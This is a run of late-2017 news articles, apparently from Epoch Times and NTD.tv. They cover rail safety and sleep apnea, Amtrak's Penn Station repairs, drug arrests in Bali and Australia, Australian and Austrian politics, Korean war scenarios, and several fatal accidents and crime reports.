The advisory, akin to a strong recommendation, is a stopgap measure while regulators draft rules that would require railroads to screen engineers for sleep apnea. That process could take years, and Feinberg said railroads shouldnt wait for the government to force action.

At this point its unacceptable to wait any longer, Feinberg said.

Airplane pilots with sleep apnea arent allowed to fly unless theyve been successfully treated. Regulators are also pushing for bus and truck drivers to get tested.

Sleep apnea is especially troubling for the transportation industry because sufferers are repeatedly awakened and robbed of rest as their airway closes and their breathing stops, leading to dangerous daytime drowsiness.

You end up with an engineer who is so fatigued theyre dosing off, theyre falling asleep in these micro bursts and they often have no memory of it, and theyre operating a locomotive at the time, so theyre putting hundreds of people in danger, Feinberg said.

Airplane pilots with sleep apnea arent allowed to fly unless theyve been successfully treated. Regulators are also pushing for bus and truck drivers to get tested.

NJ Transit engineer Thomas Gallagher, 48, was diagnosed with severe sleep apnea about a month after his train slammed into Hoboken Terminal at double the 10 mph speed limit on Sept. 29, his lawyer said. One woman on a platform was killed by falling debris. More than 100 people were injured.

Gallagher had passed a physical in July and was cleared for duty, lawyer Jack Arsenault said. The engineer told investigators he felt fully rested when he reported to work. He said he had no memory of the crash and only remembered waking up on the floor of the engineers cab.

NJ Transit already tests for sleep apnea, but updated its rules last week to prevent diagnosed engineers from operating trains until theyre fully treated, Feinberg said. It is not clear if Gallagher was screened.

NJ Transit declined to answer questions about its screening program, saying it was not authorized to discuss an employees medical information and couldnt discuss specifics about the crash while federal investigators continued their probe.

Sleep apnea also went undiagnosed in the engineer of a commuter train that sped into a 30 mph curve at 82 mph and crashed in New York City in 2013, killing four people. He had fallen asleep at the controls. A deadly freight train crash in 2011 in Iowa and another freight crash in 2013 Missouri have also been attributed to sleep apnea.

Metro-North started testing for sleep apnea after the 2013 crash. Metro-Norths screening program has found sleep apnea in 51 of its 438 engineers and trainees, spokesman Aaron Donovan said. They are undergoing treatment, he said.

The Long Island Rail Road is in the process of starting a testing program.

The FRA first recommended sleep apnea testing in a 2004 safety advisory, but Feinberg said most railroads are still not doing enough to address the issue.

This is one more thing railroads can do to keep their passengers safe and the communities theyre traveling through safe, Feinberg said.

The FRA also wants railroads to install inward-facing cameras in train cabs to record engineers actions and aid crash investigations.

Related Coverage Federal Data: NJ Transit Had 150 Accidents in 5 Years

Democratic Sens. Cory Booker and Bob Menendez, of New Jersey, and Charles Schumer, of New York, sent a letter last week asking the FRA to investigate whether there were any problems in the NJ Transit screening program that couldve led to the Hoboken crash.

The bottom line is that we must do all we can to prevent rail accidents in an era where the demands on rail are ever increasing, Schumer said. And so, these safety advisories are a crucial and positive step, and I hope all railroads will comply quickly.
A photo of the original McKim, Mead & White Penn Station on display in the Amtrak concourse of Pennsylvania Station in New York, on Feb. 6, 2017. (Samira Bouaou/Epoch Times)

Amtrak to Launch Repairs at New Yorks Troubled Penn Station

NEW YORKTraveling through the nations busiest transit hub, New Yorks Pennsylvania Station, will become even more cumbersome as Amtrak takes some tracks out of service for repairs after recent derailments disrupted travel for hundreds of thousands of commuters in recent weeks.

The construction will create further headaches for passengers, but Wick Moorman, Chief Executive Officer of the national passenger rail company, said in a call with reporters on Thursday that replacing some of the infrastructure is critical.

We all clearly understand there has been a sense of frustration, Moorman said. It is our goal to cause the least amount of disruption.

The bulk of work should be finished by the end of summer 2017, but some weekend work is likely to stretch as late as June 2018.

New York, with its crowded station and decaying, century-old rail tunnels underneath the Hudson River, is a chokepoint on Amtraks Northeast Corridor, which runs from Washington to Boston and is the operators only profitable section.

Congressional delegations from New York and New Jersey, along with New York Governor Andrew Cuomo and New Jersey Governor Chris Christie, have called for more and faster federal funding for the regions rail infrastructure.

U.S. Senator Corey Booker, a Democrat representing New Jersey, last week said the area is teetering every single day on the brink of truly a traffic Armageddon.

In his March budget proposal, U.S. President Donald Trump called for terminating federal support for Amtraks long distance train services to focus on better managing its State-supported and Northeast Corridor train services.

Moorman said on Thursday that he does not anticipate any substantial reduction in funding at the end of the federal budgeting process for next year. Amtrak has not been adequately funded for a fairly long period of time, he said.

He said officials are still determining how much the expedited repair program will cost, but the number will be in the tens of millions of dollars and should become clear within the next few days after meetings with NJ Transit and the Long Island Rail Road (LIRR) officials.

Whatever the final price tag, Amtrak will pay for it by reallocating other funding in this years budget that was supposed to pay for technology upgrades, Moorman said.

Related Coverage New Jerseys Christie Halts Amtrak Payments After Train Derailments

Amtrak owns and operates the station and leases tracks and space to NJ Transit and LIRR.

Work will begin in the most complex part of the station on its western side. In that area, routes are sorted for trains entering from the Hudson River tunnels and LIRRs West Side Yard.

Amtrak is also asking Thomas Prendergast, the former CEO of New Yorks Metropolitan Transportation Authority who retired this year, to review passenger concourse level problems, crowding, and to make recommendations.

The railroad will also create a new task force to review safety and security processes and a mobile response team for overcrowding situations, Moorman said.
An Australian, American, Malaysian arrested in Indonesia's Bali for drug offences on Dec. 4, 2017. (Screenshot via 9 News)

Australian, American, Malaysian Nationals Arrested in Bali for Drugs

DENPASAR, IndonesiaIndonesian police have arrested an Australian, an American and a Malaysian on the Indonesian holiday island of Bali for drugs offences, the latest foreigners to run afoul of some of the worlds strictest laws against narcotics.

The three men, who were arrested in separate cases, appeared before the media at a briefing, dressed in orange prison garb, their faces concealed by balaclava, with armed police officers standing guard.

It was not immediately clear if any of the three, who were identified only by their initials, would face the death penalty if convicted.

Authorities found methamphetamine and the party drug ecstasy hidden in a plastic bottle and another container in the luggage of the Australian after he arrived on a flight from Bangkok on Monday, Dec. 4, the customs office said.

Based on the results of the inspection, our officers found five packages containing clear crystals weighing 19.97 grams and 14 tablets weighing a total of 6.22 grams, Bali Airport customs office chief Himawan Indrajono said in the statement.

Australias Department of Foreign Affairs and Trade said it was providing consular assistance to an Australian man detained in Bali in response to emailed questions on the arrest. It declined to comment further.

The U.S. citizen was arrested at a Bali post office on Nov. 30 in connection with a package sent from the United States containing 336.6 grams of e-cigarette liquid containing THC, or tetrahydrocannabinol, the active ingredient in cannabis.

The Malaysian was arrested on Nov. 8 after being found with 3.03 grams of leaves thought to be marijuana and 0.65 grams of a white powder suspected to be narcotics, Idrajono said.

Possession of small amounts of drugs can incur lengthy jail sentences in Indonesia and larger amounts can result in a death sentence.

The execution by firing squad of two Australians in 2015, along with six other drug convicts from several other countries, strained relations between Jakarta and Canberra.

Indonesia says it is facing a drug crisis with an estimated 6.4 million drug users in the country of 250 million people, and needs to impose tough punishments to contained the problem.

President Joko Widodo has called for a merciless crackdown on narcotics, and told law enforcers to shoot drug traffickers if they resisted arrest.

That echoes a tough stand taken by Philippine leader Rodrigo Duterte who has ordered a war against drugs in which several thousand people have been killed since mid-2016.

By Sultan Anshori
Around 20 people die per year due to rip currents in waters off Australian beaches. One person on average dies per year in Australia by an unprovoked shark attack. (Surf scene: William West/AFP/Getty Images. Shark: Dan Kitwood/Getty Images)

Australian Beach Rips: Much More Deadly Than Man-Eating Sharks

As Australias summer temperatures rise, so do the number of drownings on the sunburnt nations picturesque beaches. According to Surf Life Saving Australia (SLSA), four children aged 11 to 15 years lost their lives to drowning on Aussie beaches since Dec.6. A total of nine deaths in December have been due to coastal drowning.

Among the main culprit behind these deaths are rip currents, which according to the SLSA are the number one hazard on Australias beaches.

For Rob Brander, an associate professor at the University of New South Wales, the lack of attention paid to such drowning cases in the country makes little sense.

Can you imagine the response if five people had been killed by sharks over the same period? No doubt the ensuing outcry would result in even more debate and financial resources invested in a problem that typically results in only one human fatality each year in Australia, Brander wrote in The Sydney Morning Herald.

Brander says that around 20 people  many of them from overseas  die per year in the ocean due to rip currents. But the deaths are avoidable with better education and less complacency, says Brander.

The trauma experienced by victims families and all those involved in these drownings is extreme and no different to fatal shark attacks. Yet millions of dollars have been devoted to the shark problem, he wrote, referring to recent findings from an Australian senate inquiry into shark mitigation and deterrent measures.

Earlier this year, the senate inquiry was set up to investigate shark attacks and look into how they can be lessened. After ten public hearings, the senate committees report made suggestions that more money be spent on the issue while also criticizing the medias sensationalizing of the shark menace.

Among the money spent so far is AU$16 million (US$12.3 million) by the New South Wales state government on its shark management strategy which includes the use of drones to detect sharks near beaches.

The senate inquiry was criticized for being the result of media induced public hysteria and overreaction.

Brander believes spending more money on sharks is ineffective and wasteful. He said more lifeguard services would surely help, but lifeguards cant be everywhere all the time.

Devoting more financial resources to getting beach safety education into all schools needs to happen, he said.

The federal government should make it mandatory that beach safety information is shown on planes and made available in airports to all incoming passengers. Its not hard to do and certainly doesnt cost millions, he wrote.

Mostly Young Men

Based on 20042016 figures, 86 percent of people who died in rips were male and the average age of those killed was 35 years of age.

Shane Daw from SLSA said young men aged 15-39 years are most likely to get caught and die in rips.

All too often, young men have an attitude of over-confidence and enter the surf before checking to the ocean conditions, sadly, that overconfidence can prove deadly, Daw said in a statement.

They get into trouble because they either havent checked for rips or cant correctly identify a rip, or swim at unpatrolled locations.

SLSA research findings published in October found that two out of three people who think they can identify a rip current, cant. The research also found that one in four Australians, or 4.2 million individuals, aged 16-69 have been caught in a rip current unintentionally at least once in their lives.

Last year, Surf Life Saving services in Australia were involved in more than 10,000 rescues and nearly 4 million preventative actions. That equates to 30 rescues a day and 900 preventative actions each hour, said SLSA.

Fatal shark attacks are not considered frequent occurrences in Australia. This year, there has been one fatal unprovoked shark attack.

Please support independent journalism by sharing this article. Thank you very much!

From NTD.tv
Australian Prime Minister Malcolm Turnbull speaks to dignitaries and members of the Invictus Team Australia Squad at the official launch at Admiralty House on June 7, 2017 in Sydney, Australia. (Toby Zerna/Pool/Getty Images)

Australias Prime Minister Announces Cabinet Reshuffle for 2018

SYDNEYAustralian Prime Minister Malcolm Turnbull on Tuesday named a new attorney general and promoted two junior lawmakers from rural Queensland state to his cabinet in a ministerial reshuffle for 2018.

Australian leaders often revamp cabinets before the start of a new year. However, Turnbulls critics view the move as an attempt to salvage his leadership.

Last month, Turnbulls ruling centre-right Liberal-National coalition made its worst showing in a Queensland election in more than a decade, when it won 34 percent of the vote as Pauline Hansons populist One Nation clawed into its conservative base.

A large number of marginal seats in the countrys third most populous state of Queensland often give its voters a crucial say in deciding federal elections.

The reshuffle was sparked by the resignation of Attorney General George Brandis from the Senate. Turnbull said he would ask Brandis to be the countrys next High Commissioner, or ambassador, to the United Kingdom.

Turnbull gave cabinet positions to Queenslanders John McVeigh and David Littleproud, who both took office 18 months ago.

He dropped infrastructure minister Darren Chester, from the urban state of Victoria, giving the portfolio to deputy prime minister Barnaby Joyce, the leader of the Nationals, which features prominently in Queensland.

Its a ministry that showcases the depth of the Liberal and National team, with well-earned promotions for talented individuals, a number of young and upcoming MPs bringing new skills and energy to the frontbench, Turnbull told reporters in Sydney.

Asked why he removed Chester, whose duties included running the Australian part of the fruitless search for missing Malaysia Airlines flight MH370, Turnbull said his cabinet had to take into account matters of geography, but did not elaborate.

The pitch to voters in the northeastern state of Queensland was obvious, said Stewart Jackson, a specialist in Australian politics at the University of Sydney.

Everybodys been spooked by One Nation, Jackson said. The emphasis will shift back towards Queensland where the National Party was traditionally strong.

The overhaul also brings youth into a government that has narrowly retained its razor-thin majority in parliament after a constitutional crisis over dual citizenship of certain MPs triggered a series of by-elections. The crisis has cost the Australian tax payer more than $11 million in legal costs, reported the New Daily.

The two promoted Queenslanders, Littleproud and McVeigh, are 41 and 52 respectively. The new attorney general, social services minister Christian Porter, from the iron ore-rich state of Western Australia, is 47.

Employment minister Michaelia Cash, who takes the expanded title of minister for jobs and innovation, and Nationals member Bridget McKenzie, who joins cabinet as minister for sport, rural health and regional communications, are also 47.

Nats new leadership team @senbmckenzie @Barnaby_Joyce Formidable force standing up & delivering for regions #auspol pic.twitter.com/i1wG2hvdCy  Darren Chester MP (@DarrenChesterMP) December 6, 2017

Turnbull gave no reason for the departure of Brandis after 17 years, but called him a stalwart who had backed tougher national security laws and the legalization of same-sex marriage, a measure parliament passed this month.

By Byron Kaye and Elouise Fowler
Head of the People's Party Sebastian Kurz reacts during the swearing-in ceremony of the new government in Vienna, on Dec. 18, 2017 (REUTERS/Leonhard Foeger)

Europes Youngest Leader Sworn in in Austria Amid Protests

VIENNAHundreds of police sealed off part of central Vienna on Monday as Austria became the only western European country with a far-right party in power, but protests against the swearing-in proved small and largely peaceful.

Conservative Sebastian Kurz, who is just 31, became chancellor in a coalition with the far right two months after winning a parliamentary election with a hard line on immigration afterAustria was swept up in Europes refugee crisis in 2015.

The last time the anti-immigration Freedom Party (FPO) entered government in Austria, demonstrations were so big that the cabinet took a tunnel from the chancellery to the swearing-in ceremony at the presidents office across the street.

There was no need for that this time as, almost 18 years on and to a significantly more muted reaction, the country once again became an exception among its peers, but in a very different European political landscape.

Protests nearby drew only a fraction of the tens of thousands who gathered in 2000and criticism from across the continent has also been more restrained. Police wore riot gear and stationed two water cannon at the main protest site.

We will certainly not be going underground to the Hofburg, but rather with our heads held high in the street, FPO leader Heinz-Christian Strache said earlier in an interview with regional newspapers. He was referring to the former imperial palace that houses the presidents office.

This time, police cleared a large area around the head of states office, keeping several thousand protesters about 100 meters (110 yards) away in a nearby square. Chants could be heard as the new ministers from the FPO and the conservative Peoples Party crossed the street quietly to the ceremony.

The coalition deal hands control of much of Austrias security apparatus to the FPO, which came third in the election with 26 percent.

Any crime committed in Austria is one too many, FPO Chairman Herbert Kickl said as he assumed his new position of interior minister. The FPO was also given the foreign and defense ministries.

The agreement, which made Strache vice chancellor, includes plans to cut public spending and taxes and curb benefits for refugees.

I fear a total shift to the right, a hardening of the domestic political climate and incitement against outsiders, said 69-year-old protester Wolfgang Pechlaner.

Police said 1,500 officers were deployed. People marched peacefully, carrying placards saying Nazis out and chanting Strache is a fascist.

Police put the number of protesters at 5,000-6,000 and said three arrests were made. Organizers put the turnout as high as 10,000. By late afternoon, the crowds had dispersed.

Cautious Response

The FPOs success made it an outlier in Europe in the 1990s when it was led by the late Joerg Haider.

Now it is one of many anti-establishment parties gaining ground in Europe. Its allies and sister parties this year entered the German parliament and made the French presidential run-off.

Swearing in the government, President Alexander Van der Bellen highlighted safeguards built into the coalition agreement.

We have achieved a clear consensus that (involvement in) Europe or the European Union and continuity in our foreign policy as well as respecting our fundamental rights and freedoms are important fundamental principles, he said.

That was a reference to the coalition having ruled out a referendum on EU membership, and to Austrias support for EU sanctions against Russia despite the FPOs pro-Moscow stance.

The FPO, founded in the 1950s by former Nazis, has backed away from calling for a vote on EU membership. It and Kurzs conservatives want the EU to focus on fewer tasks, like securing external borders, and hand more powers back to member states.

France and Germany were cautious about future ties with Vienna.

We will follow how the EU policy of Austria develops, German Chancellor Angela Merkel said. Chancellor (Sebastian) Kurz has the intention of being an active partner in Europe, and I am glad of that. We have lots of problems to solve in Europe.

Israel was also less than effusive about dealing with a Foreign Ministry controlled by the FPO, which has courted Jewish voters with limited success.

Israel will hold working contacts with the operational echelons of the (Austrian) government departments that are headed by ministers from the Freedom Party, Israels Foreign Ministry said in a statement.

Israel wishes to underline its total commitment to fighting anti-Semitism and commemorating the Holocaust.

Kurz travels to Brussels on Tuesday to meet European Commission President Jean-Claude Juncker and Council President Donald Tusk.

By Francois Murphy and Kirsti Knolle
Bus Crash in Mexico Kills 12, Including 7 American Tourists

At least 12 people were reported dead when a bus crashed near Mayan ruins in Mexico on early Tuesday, Dec. 19, officials said.

The bus was carrying cruise ship passengers, according to The Associated Press.

BREAKING: At least 12 people (mainly American and Swedish tourists) died when a bus carrying cruise ship passengers to Mayan ruins in eastern Mexico flipped over on a highway, Seven Americans and two citizens of Sweden are among the injured. pic.twitter.com/Vm6HiteIgW  News_Executive (@News_Executive) December 19, 2017

Seven Americans and two citizens of Sweden are among those dead in the crash, Quintana Roo state Civil Defense spokesman Vicente Martin confirmed to AP.

Video footage showed the bus on its side off the two-lane highway. Some survivors could be seen on the pavement.

The crash took place as it was heading to the ruins of Chacchoben, located 110 miles south of Tulum, AP reported.

The crash is now under investigation.
U.S. Army M1A2 tank during maneuvers with U.S and South Korean soldiers participate in a river crossing exercise on May 30, 2013 in Yeoncheon-gun, South Korea. The joint exercise is one of several the two countries have held in recent months. (Chung Sung-Jun/Getty Images)

How China Might Respond To War On Korean Peninsula

News Analysis

If war breaks out on the Korean Peninsula, the Chinese regime will play a decisive role in the fate of its communist cousin. But what China will do in defense of North Korea will hinge largely on who shoots first and what Russia does or doesnt do.

North Koreas fate has resided in Beijings hands since Chinese soldiers prevented United Nations forces from wiping out the Kim regime after its failed invasion of South Korea in 1950. And while the Chinese regime has often been a reluctant protector of North Koreas dictatorship, its support for successive Kim regimes has been in Beijings own interests.

Which may explain why China has done just enough to be seen as cooperative, but not enough to stop North Koreas nuclear and ballistic missile programs.

Im not convinced that China couldnt simply call up Kim Jong Un and, in the course of a single conversation, tell him to stand down and denuclearize, said Anders Corr, founder of risk consultancy Corr Analytics and publisher of the Journal of Political Risk.

Corr, who previously advised U.S. Pacific Command and U.S. Special Operations Command Pacific, said Chinese leader Xi Jinpings claims of limited influence with North Korea lack credibility.

I think he does have influence. Certainly, if China were to impose draconian economic sanctions on North Korea it could destabilize North Korea to such an extent it would threaten Kim Jong Uns hold on power.

Corr said the Chinese regime has the key to resolving the North Korea crisisan overwhelming majority of North Koreas foreign tradebut has chosen not to use it. That may be because North Korea distracts the United States from issues that are important to Beijing, including Taiwan and the Chinese regimes territorial claims in the South and East China seas.

But the threat North Korea poses to the United States is an existential one should the regime obtain and use intercontinental ballistic missiles against U.S. cities, said Corr. Such a move could destroy the economic power that currently allows the United States to forward deploy its military and provide security in Europe and Asia.

If the United States had to pull back its military forces, Russia and China could move in by expanding their influence in the region, or through military occupation.

Its a low-probability, high-cost scenario, but one that must be considered because the impact could be catastrophic, said Corr.

This is part of the reason why North Korea is such a threat, and why the U.S. is willing to potentially risk a major conflict with North Korea.

China accounts for 75 to 90 percent of North Koreas foreign trade and has exercised what some have described as a conscious negligence when it comes to shutting down North Korean front companies in China that are obtaining critical weapons components for the Kim regime.

The fact that North Korea launched its ICBM from a Chinese made erector truck on Nov. 28 is one of the more visible examples of complicity. To get around an earlier round of sanctions, the truck was sold to North Korea under the unlikely guise of being a logging vehicle.

Meanwhile, the Chinese regime has tried to deflect criticism by pointing to its current adherence to United Nations Security Council sanctions passed in September. The fact remains, however, that the Chinese Communist Party controls the Peoples Liberation Army, the security backstop that has preserved North Korea for 67 years.

Secretary of State Rex Tillerson told the audience of the 2017 Atlantic Council-Korea Foundation Forum on Dec. 12 that President Donald Trump was leaning heavily on China to finally support an oil embargo that could avert war.

The last time the North Koreans came to the table, it was because China cut the oil off. Three days later, the North Koreans were at the table talking. And the President feels were really at that stage.

But hopes that cutting off oil after North Korea has come within inches of nuclear warhead-tipped ICBM may be overly optimistic, especially with credible reports Russia is willing to risk international condemnation with increasing oil exports to North Korea.

And given both China and Russia have said they will not pass additional sanctions, military action may be the only option left if the United States truly wants to keep North Korea from getting nuclear missiles capable of striking the U.S. homeland.

Tillerson gave a rare peak at efforts to get Chinese permission to take that action, pledging any invasion would be temporary.

We have had conversations that if something happened and we had to go across a line, we have given the Chinese assurances we would go back and retreat back to the south of the 38th parallel, he said.

Our only objective is to denuclearize the Korean Peninsula, and that is all.

Regime change is not an option, from Chinas perspective and the Chinese regime has demanded the United States pledge not to seek regime collapse or change, nor try to speed up a reunification of North and South Korea. The United States has also agreed not to look for a reason to send military forces north of the demilitarized zone that runs along the 38th parallel.

But if U.S. forces were to enter North Korea, how China responds will depend largely on why, said Carl Schuster, a retired Navy captain who now lectures at Hawaii Pacific University.

Lets say North Korea does something stupid like launches a missile that lands in South Korea or hits a U.S. base, or North Korea suddenly fires some artillery rounds across the DMZ and Seoul, if North Korea does that, China will have no problem with us pounding North Koreas government into the dirt, he said.

But there is a difference between aerial strikes and troops on the ground, and how the Chinese regime will respond to either is uncertain. At the very least, Beijing will seek international pressure to stop a U.S. offensive.

But while crossing the 38th parallel may be tolerated under some circumstances, taking the North Korean capital will not be, he said.

If it looks like we are going to go north of Pyongyang, in their minds, that will be a red line.

China may tolerate U.S. forces crossing the border to crush the North Korean army, he said, but he expects Beijing would send forces to occupy Pyongyang. North Koreas capital will remain a no-go zone, he said.

If North Korea initiates the conflict, China will watch it closely, prepare for North Koreas defeat, but they wont intervene if we dont go to far.

However, all that math shifts should Russia get involved in the equation. Schuster said China could be forced to defend North Korea if Russia started sending troops.

China would worry about Russian influence in there, he said.

But barring something like that, China would let the North Korean regime get its head kicked in. Whether they would allow the regime to fall or not is a different story.

If war does break out and U.S. forces enter and then withdraw from North Korea, many experts have suggested North Korea become a Chinese protectorate afterwards. It is a relationship the two countries have previously had, with China overseeing much of the affairs of earlier Korean governments in Asias pre-Communist years.
Colorado Mother of Two VanishesHer Car Found Abandoned, Her House Ransacked

Authorities have an abandoned car, a ransacked home, and a missing Colorado woman on their hands and are now asking for the publics help.

Forty-one-year-old Kimberlee Graves, was last seen at her Fort Collins home on Monday, Dec. 4.

On Dec. 8, a friend called the police asking for a welfare check on Graves after not hearing from her for several days.

When police knocked at the door of her home on Akin Avenue that day, nobody answered, and her car was not in the driveway.

Kimberlee Graves has been missing since early December. Have info about her whereabouts? Contact FCPS or Crime Stoppers. You can remain anonymous. https://t.co/7XNgn25VcB pic.twitter.com/y4682zeCe2  Fort Collins Police (@FCPolice) December 18, 2017

Two days later, the same friend who called police asking for a welfare check went to Gravess home and found it had been ransacked. The friend again called the police.

On Dec. 13, police found her car, a red Toyota RAV4 abandoned in a parking garage.

While detectives have not found evidence of injury, the suspicious circumstances have caused concern for her safety, Fort Collins police said in a Facebook post.

Gravess neighbor of eight years, Daniel Cordova, told Fox31 he was worried about the mother of two, saying she was too trusting.

Too friendly. People in her house all the time. She had a nice 2015 [Toyota] RAV4 and she would just let people drive it. Next thing I know it was sideswiped, the window was broken out. I see someone keyed bad words into her door, Cordova said. I kind of got onto her about trusting people too muchand now look.

Gravess LinkedIn page says she worked as a massage therapist and owned her own massage business called Spirit Tree Massage.

I have a strong passion for healing and helping others find total balance in body, mind and spirit through different modalities of massage and reiki, she wrote on her page.

According to LInkedIn, she owned her own business for the last six years.

Police are now asking the publics help in locating her.

Theres no evidence that would indicate injury to Kimberlee, but because of the kind of suspicious circumstances, we are asking the communitys help to locate her, Kate Kimble, the public relations manager for Fort Collins Police, told 9NEWS.

A request to Fort Collins police about the whereabouts of her children was not immediately returned.

Anyone with information on Gravess whereabouts can call For Collins police at 970-416-2825 or email them at tipsline@fcgov.com. People can also contact Crime Stoppers of Larimer County at 970-221-6868.

Tipsters may remain anonymous and may be eligible for a cash reward.
Crash Leaves SUV Wrapped Around NJ Utility Pole, 3 Dead

Police in New Jersey said that three people died in a severe car crash in Tabernacle Township where an SUV wrapped around a utility pole while trying to evade police.

New Jersey State Police identified the victims as two adult men and a pregnant teenager. Their names werent released, according to ABC6.

Two men and a pregnant teenager are dead following a crash where an stolen SUV wrapped around a utility pole while attempting to evade police in New Jersey. https://t.co/x6PNFZun6K pic.twitter.com/cIWFBMQSUI  Kempter's Fire Wire (@KempterFireWire) December 19, 2017

The crash took place around 12 p.m. Monday at Flyatt and Caranza roads in Tabernacle Township in front of the Sequoia Alternative Program school. Class at the school was dismissed early due to the serious crash, according to NBC Philadelphia.

More than 50 students and employees from the school were evacuated due to roads being closed in the area amid concerns about buses not being able to get there later on in the day, NBC reported. The students and staff were taken to a transportation yard about 5 miles from the crash. Then, parents picked the children up.

Two adults, pregnant mom killed in stolen SUV crash, report says https://t.co/0M8wZlnaHg  New Jersey 101.5 (@nj1015) December 19, 2017

The vehicle was reported stolen before the crash took place. Police said that the occupants were trying to evade law enforcement.

Police reported that before the crash, the vehicle was going at least 80 miles per hour. The SUV may have also caught on fire after the accident, ABC6 reported.

Police chase in Burlington County, New Jersey leads to crash, leaving three people dead. https://t.co/MkSwYOniRk pic.twitter.com/8pCBbsdg99  Matt O'Donnell (@matt_odonnell) December 19, 2017

Police said that the SUV, a 1999 green GMC Yukon, was the only vehicle that was in the crash.

New Jersey State Police said that an investigation is underway.

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Details Revealed in Dog Mauling of Virginia Woman Found in Woods

Warning: Includes graphic details

Sheriffs deputies who discovered a Virginia woman mauled by her pit bulls revealed more details on her death.

Bethany Stephens, 22, was found dead at around 8:20 p.m. local time off Manakin Road, Goochland, Virginia, on Thursday night, Dec. 14, WTVR reported. The womans father had called 911 after 8 p.m. after he found her in the woods. He told the sheriff that her dogs appeared to be guarding her body.

Let me cut right to the chase, the most important detail that we did not release because we were worried about the well-being of the family is that in the course of trying to capture the dogs early Friday morningwe turned and lookedI observed, as well as four other deputy sheriffs, the dogs eating the ribcage on the body, Goochland County Sheriff James Agnew said on Monday during a news conference.

It took officials more than an hour to catch the dogswhich were her pets. They were later put down.

It appeared the attack was a violent attack initiated by the victims dogs while the victim was out for a walk with the dogs, Sheriff James Agnew said of the preliminary findings from the Medical Examiners Office, WTRV reported. The victim had defensive wounds on her hands and arms trying to keep the dogs away from her, which would be consistent with being attacked while she was still alive.

Agnew held a news conference Monday and released the details on Stephens death after a long discussion with her family about releasing the information, according to WTVR.

The injuries were very severe, Agnew added. The most prevalent damagethe damage was so extensive [on the body] that there was nothing left to compare the bite marks to.

Authorities dont suspect foul play in the death of the woman.

We had a number of witnesses came forward and we were able to put a time frame together and peoples movements together and they dont fit with that particular narrative, the sheriff noted. Having said that, we are still following up on those; we are still doing forensic tests.

A man who used to work with Stephens said she loved the dogs and was experienced in working with animals.

Sgt. Mike Blackwood said the dogs were left with Stephens father, and the indoor dogs were held up outside in the cold inside a small kennel. [Stephens father] wasnt taking care of them  it wasnt his responsibility, Blackwood said.

They had to use tranquilizer guns to catch the dogs. The medical examiner says victims dogs mauled her to death. Not a homicide.  Kristin Smith (@kristin8news) December 15, 2017
Doctors Tell 7-Month-Pregnant Teenager She has 3 Months to Live

A pregnant 17-year-old Pennsylvania girl learned that she has as little as three months to live after doctors discovered a virtually incurable rare tumor at the base of her brain.

Dana Scatton is seven months pregnant with a baby girl. At first, she noticed that she had trouble swallowing. Next, her legs buckled as she walked to a bus.

Scatton thought that the baby might be compressing a nerve, but after undergoing a CAT scan learned that she had a rare tumor called DIPGdiffuse intrinsic pontine glioma.

Around 300 children are diagnosed with DIPG every year in the US. The tumor is usually discovered when the children are aged between 5 and 9, according to the Dana-Farber Boston Childrens Cancer and Blood Disorders Center.

The median survival age for children diagnosed with DIPG is less than a year, Global Genes reported, citing medical statistics. Less than 2 percent of children ages 6 to 10 survive the condition.

Scatton and her 21-year-old boyfriend Tyler Vercetti decided to call their baby girl Aries. Scattons treatment is complicated by the pregnancy.

The teenagers mom and dad both took time off work to be with her. Scattons brother, JJ Gundry, started a GoFundMe page to raise money for medical expenses.

Due to the aggressive nature of this particular type of tumor, we are in need of all the financial support we can get, Gundry wrote. Any amount can make a difference, but if youre not in a position to donate, we ask that you please pray for Dana & baby Aries.

The GoFundMe page raised more than $10,000 in one week.

Scatton told Daily Mail that the first thing she thought when she heard the diagnosis was, Is my baby going to be okay?

We visited specialists yesterday at Penn University in Philadelphia to understand more about Danas situation, Scattons brother wrote in an update on GoFundMe. The prognosis was very difficult to swallow, but God was with us.

The OBGYN we met with confirmed Dana can start radiation treatment without any major impacts to her babys health, which was much needed given the info we received up until this point, Scattons brother added.

The mom-to-be is scheduled to deliver her baby when she is 37 weeks pregnant, around the time her radiation treatment is completed. Despite the daunting prognosis, Scatton is remaining optimistic.

I cant do as much for myself anymore, like not being able to put my pants on without probably falling, Scatton told Daily Mail. Im not going to go by what they say, Im expecting a miracle.

As the family visited medical professionals, Scatton showed amazing strength, courage, and optimism, her brother wrote.

She is without a doubt, the strongest and bravest person I know! Gundry wrote.

From NTD.tv
A 71-year-old U.S. national has been charged with attempting to import approximately 700 grams of cocaine hidden in childrens books. (Australian Federal Police)

Elderly US Drug Smuggler Busted for Hiding Cocaine in Kids Books

An elderly American man has been arrested in Australia for attempting to smuggle in cocaine that was hidden in childrens books.

The 71-year-old U.S. national was selected for a baggage examination by the Australian Border Force (ABF) officers at the Melbourne International Airport on Monday Dec. 11, said a media release issued by the Australian Federal Police and ABF.

The man was arriving on a flight from Dubai.

The ABF officers found two peculiar childrens books inside the mans bag which they then x-rayed.

The officers then drilled into one of the books and discovered inside it was cocaine.

71-yr-old US national charged with attempting to import approx. 700 grams of cocaine concealed in childrens books. More: https://t.co/XgxS3Mn5dA pic.twitter.com/L7aLDj8aNe  ABF (@AusBorderForce) December 18, 2017

In total, the officers found the man was attempting to smuggle in approximately 700 grams of cocaine hidden in the books.

Federal police then arrested the man who now faces a maximum penalty of life imprisonment.

The man is scheduled to appear before Melbourne Magistrates Court on March 5, 2018.

Cocaine is worth up to nine times more on Australian streets than it is in the U.S.

Australian law enforcement and border protection officers have seized record amounts of cocaine this year. In February, law enforcement seized 1.4 tons of the drug on an Australian bound yacht.

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The grounds of Cameron House hotel, on the banks of Loch Lomond.(Screenshot via Google Maps)

Honeymoon Couples Baby Rescued in Luxury Hotel Blaze That Killed Two

This is the moment a baby boy was rescued from a fire that ripped through a five-star hotel, as his parentswho were on honeymoonwait anxiously below.

The deadly blaze swept through the luxury Cameron House hotel on the banks of Loch Lomond, Scotland early on Monday morning, killing two people.

Dramatic footage has since emerged, showing a firefighter rescuing baby Jimmy Logan from the third floor of the burning building. He carried the baby carefully under his arm as he climbed down a steep ladder while Jimmys newly-married parents looked on.

His parents, Andrew and Louise Logan, were on their honeymoon, and were celebrating their wedding on Friday, according to the Daily Mail.

WATCH: Baby being rescued from Cameron House hotel during blaze https://t.co/fxxzESUQF6 https://t.co/ynG7ysaPP2  STV News (@STVNews) December 18, 2017

All three were rushed to Queen Elizabeth University Hospital in Glasgow with smoke inhalation, but were later discharged, the Metro reported.

The Scottish Sun revealed how the newly-married parents cried for help as their 600-a-night ($800) suite room filled up with smoke.

The family were screaming Help us, we cant get out and weve got a baby, witness Linsey Allan told the newspaper.

